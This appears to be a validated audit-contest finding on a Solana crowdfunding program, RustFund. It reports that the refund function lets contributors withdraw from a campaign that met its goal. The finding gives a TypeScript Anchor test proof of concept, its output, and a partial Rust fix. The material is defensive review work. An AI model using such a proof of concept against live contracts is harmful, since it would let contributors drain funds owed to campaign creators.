RustFund

First Flight #36
Beginner FriendlyRust
100 EXP
View results
Submission Details
Severity: high
Valid

`refund`: no check whether goal is reach

Summary

According to the actor's description, "Contributors can request refunds if the campaign fails to meet the goal and the deadline is reached," there is no check in the code to verify whether the goal has been reached.

Impact

When the campaign succeeds, contributors are still able to refund.

PoC

import * as anchor from "@coral-xyz/anchor";
import { Program } from "@coral-xyz/anchor";
import { Rustfund } from "../target/types/rustfund";
import { PublicKey } from '@solana/web3.js';
import { expect } from 'chai';
describe("rust fund", () => {
// provider
const provider = anchor.AnchorProvider.env();
anchor.setProvider(provider);
// program
const program = anchor.workspace.Rustfund as Program<Rustfund>;
// actors
const creator = provider.wallet;
// campaign information
const fundName = "firstflight Fund";
const description = "this program is for firstflight";
const goalAmount = new anchor.BN(1000000000); // 1 SOL
const contributeAmount = new anchor.BN(500000000); //0.5 SOL
const deadline = new anchor.BN(Math.floor(Date.now() / 1000) + 10); // 10 sec from now (testing)
let fundPDA: PublicKey;
let fundBump: number;
let contributionPDA: PublicKey;
let contributionBump: number;
before(async () => {
// Generate PDA for fund
[fundPDA, fundBump] = await PublicKey.findProgramAddress(
[Buffer.from(fundName), creator.publicKey.toBuffer()],
program.programId
);
// Generate PDA for contribution
[contributionPDA, contributionBump] = await PublicKey.findProgramAddress(
[fundPDA.toBuffer(), provider.wallet.publicKey.toBuffer()],
program.programId
);
});
it("no check for `refund` whether goal is reach", async () => {
// create campaign
await program.methods
.fundCreate(fundName, description, goalAmount)
.accounts({
fund: fundPDA,
creator: creator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
// set deadline
await program.methods
.setDeadline(deadline)
.accounts({
fund: fundPDA,
creator: creator.publicKey,
})
.rpc();
// contribution with 1.5 SOL to make campaign success
await program.methods
.contribute(contributeAmount.mul(new anchor.BN(3)))
.accounts({
fund: fundPDA,
contributor: provider.wallet.publicKey,
contribution: contributionPDA,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
// refund
// to meet deadline
await new Promise(resolve => setTimeout(resolve, 15000));
await program.methods
.refund()
.accounts({
fund: fundPDA,
contribution: contributionPDA,
contributor: creator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
console.log("should revert, but success")
});
});

Log:

rust fund
should revert, but success
✔ no check for `refund` whether goal is reach (16656ms)
1 passing (17s)

Tools Used

Manual.

Recommendations

Add check for goal.

pub fn refund(ctx: Context<FundRefund>) -> Result<()> {
// load contribution amount
let amount: u64 = ctx.accounts.contribution.amount;
// check: deadline is set and deadline is end
if ctx.accounts.fund.deadline != 0 && ctx.accounts.fund.deadline > Clock::get().unwrap().unix_timestamp.try_into().unwrap() {
return Err(ErrorCode::DeadlineNotReached.into());
}
// amount_raised >= goal -> campaign success
if ctx.accounts.fund.amount_raised >= ctx.accounts.fund.goal {
return Err(ErrorCode::CampaignSuccess.into());
}
}
Updates

Appeal created

bube Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

There is no check for goal achievement in `refund` function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.